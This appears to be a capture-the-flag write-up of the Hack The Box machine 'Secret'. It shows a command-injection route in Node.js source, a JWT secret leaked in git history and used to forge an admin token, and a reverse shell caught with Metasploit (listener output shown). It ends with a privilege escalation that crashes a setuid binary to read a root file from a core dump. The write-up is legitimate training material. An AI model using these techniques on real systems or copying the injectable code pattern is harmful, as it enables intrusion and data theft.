User Flag
Lets first download the website’s source code with the Dowload source code button on the home page of the website.
In routes/private.js, we get the admin username :
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}Further in the same file, we have what looks like a RCE :
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}By changing the value of the file argument, we might be able to execute code on the server. To use this feature, we need to get admin access.
In the routes/auth.js file, we see how the JWT is made :
// create jwt
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);Finally, in the .env file, we see the value of the DB_CONNECT and the TOKEN_SECRET environment variables.
Since this is a code review box, I thought it would be the perfect occasion to test something that I wanted to test for a while now : Snyk Code.
Snyk Code is a code review tool that automatically analyzes your source code and finds vulnerabilities (also it’s free 😉).
While, in the context of HTB, Snyk didn’t find any new information that would help us to get the user flag (I believe the RCE is the only useful thing here), in the context of a pentest, this information would’ve saved me a lot of time. Particularly with the lower hanging fruits like XSS that can sometimes take a lot of precious time to test. Next time I have a whitebox pentest, I’ll definitely use Snyk.
With that said, I find odd that the RCE vulnerability is only classified as High and not as Critical, but, of course, Snyk can’t understand the context of the application (attack complexity, privilege required, etc.).
With that done, time to find a way to get admin access. I started by trying to create a user with
I then logged in using
Which returned
After receiving the newly generated JWT, I verified it (using cyberchef) to see if the secret used really was “secret”, and it wasn’t.
I then tried to brute force it (using jwt-secret) but couldn’t get any result.
┌─[✗]─[h3dg3h0g@vmware-ParrotOS]─[~/Desktop/HackTheBox/Machines/EASY/Secret/source/local-web]
└──╼ $jwt-secret --file /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWNjNTY5YmRmNGYyMjA0N2FhZWQzNjUiLCJuYW1lIjoidXNlcm5hbWUiLCJlbWFpbCI6ImVtYWlsQGVtYWlsLmNvbSIsImlhdCI6MTY0MDc4MTUxOH0.w3dpvzlGWwDtFD-AJSJMsUKUFzQMwx3O5FsEIek8Oc4
no secret foundAfter those 2 failed attempts, I decided to take a look at the .git history to see if the secret had leaked in the commits.
And it looks like the devs did leak some info in a commit. Let’s take a look at it.
Let’s verify (using cyberchef) if it is indeed the secret used to sign the JWTs.
And it is !
We can now craft a new JWT with the username set as theadmin to access the admin features.
Using cyberchef, we can generate a new JWT and access the /api/priv page.
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 76
ETag: W/"4c-bXqVw5XMe5cDkw3W1LdgPWPYQt0"
Date: Wed, 29 Dec 2021 14:10:15 GMT
Connection: close
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}Finally, let’s exploit the RCE that we spotted earlier.
Using id, we can see who runs the webserver.
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)A lot of reverse shells I tried didn’t work, but when I tried with a python one it did. It looked like the user couldn’t execute certain commands...
With metasploit’s /exploit/multi/handler, I was able to catch a reverse shell.
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.161:4444
[*] Command shell session 1 opened (10.10.14.161:4444 -> 10.129.167.28:39610) at 2021-12-29 10:42:42 -0500
Shell Banner:
$
-----
$Root Flag
The privesc part was hard to find (at least for me). But, after running linpeas for the fifth time, something finally caught my attention :
The setuid permission means we can run whatever this is as root. Let’s take a closer look at this.
dasith@secret:/opt$ ll
total 56
drwxr-xr-x 2 root root 4096 Oct 7 10:06 ./
drwxr-xr-x 20 root root 4096 Oct 7 15:01 ../
-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c
-rw-r--r-- 1 root root 16384 Oct 7 10:01 .code.c.swp
-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count*
-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.logAfter looking at the source code and executing the program, it looks like it opens a file and counts the number of characters in it.
I then looked at the valgrind man page, because I wasn’t familiar with this program, and it looks like some sort of debugger for executables. Maybe we can use it to access what the count program loads in memory when it reads a file. That way, we might be able to read some files like /root/.ssh/id_rsa or simply /root/root.txt.
dasith@secret:/opt$ valgrind ./count
==125171==
==125171== Warning: Can't execute setuid/setgid/setcap executable: ./count
==125171== Possible workaround: remove --trace-children=yes, if in effect
==125171==
valgrind: ./count: Permission denied
dasith@secret:/opt$It looks like valgrind can’t debug executables with setuid.
After looking around the internet for an answer, I stumbled upon this stackoverflow post that basically described how hard it is to get valgrind to run a setuid executable. After a lot of tries, it really looked like valgrind just would not run our program. Time to try something else.
I decided to take a look at the content of the /opt/valgrind.log.
It looks like valgrind is already running every time we execute the count program !(?)
Now we need to find a way to dump it’s memory.
After reading the code in /opt/count.c, I noticed this.
After looking at the prctl man page, it looks like this feature dumps the program’s memory.
PR_SET_DUMPABLE (since Linux 2.3.20) Set the state of the "dumpable" attribute, which determines whether core dumps are produced for the calling process upon delivery of a signal whose default behavior is to produce a core dump. In kernels up to and including 2.6.12, arg2 must be either 0 (SUID_DUMP_DISABLE, process is not dumpable) or 1 (SUID_DUMP_USER, process is dumpable).
Now we might be onto something. We just need to trigger this dump, probably when the program asks if we want to save the result, while it still has the file in memory.
After a small bit of research, I found that core dumps are generated when a program crashes.
Core dumps are triggered by the kernel in response to program crashes
I then started a second terminal to kill the process and hopefully trigger a core dump.
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]:dasith@secret:/opt$ ./count
./count
Enter source file/directory name: /root/root.txt
/root/root.txt
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: Segmentation fault (core dumped)
dasith@secret:/opt$dasith@secret:/opt$ ps -A
[...]
1396 ? 00:00:00 python3
1397 pts/1 00:00:00 sh
1398 pts/1 00:00:00 bash
1407 pts/0 00:00:00 count
1409 ? 00:00:00 kworker/u2:0-events_power_efficient
1411 pts/1 00:00:00 psdasith@secret:/opt$ kill -11 1407Now, the core dump should be in /var/lib/systemd/coredump. Aaanndd it’s empty.
Luckily I found this stackoverflow post that says that sometimes, core dumps end up in /var/crash instead, and there was in fact a dump there !
dasith@secret:/var/crash$ ls
_opt_count.1000.crashFinally, to read the .crash file, we can use apport-unpack.
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash ~/countAnd using a skill that I developed after years of CTF
dasith@secret:~/count$ strings * | grep -E '[a-z0-9]{32}'
**********************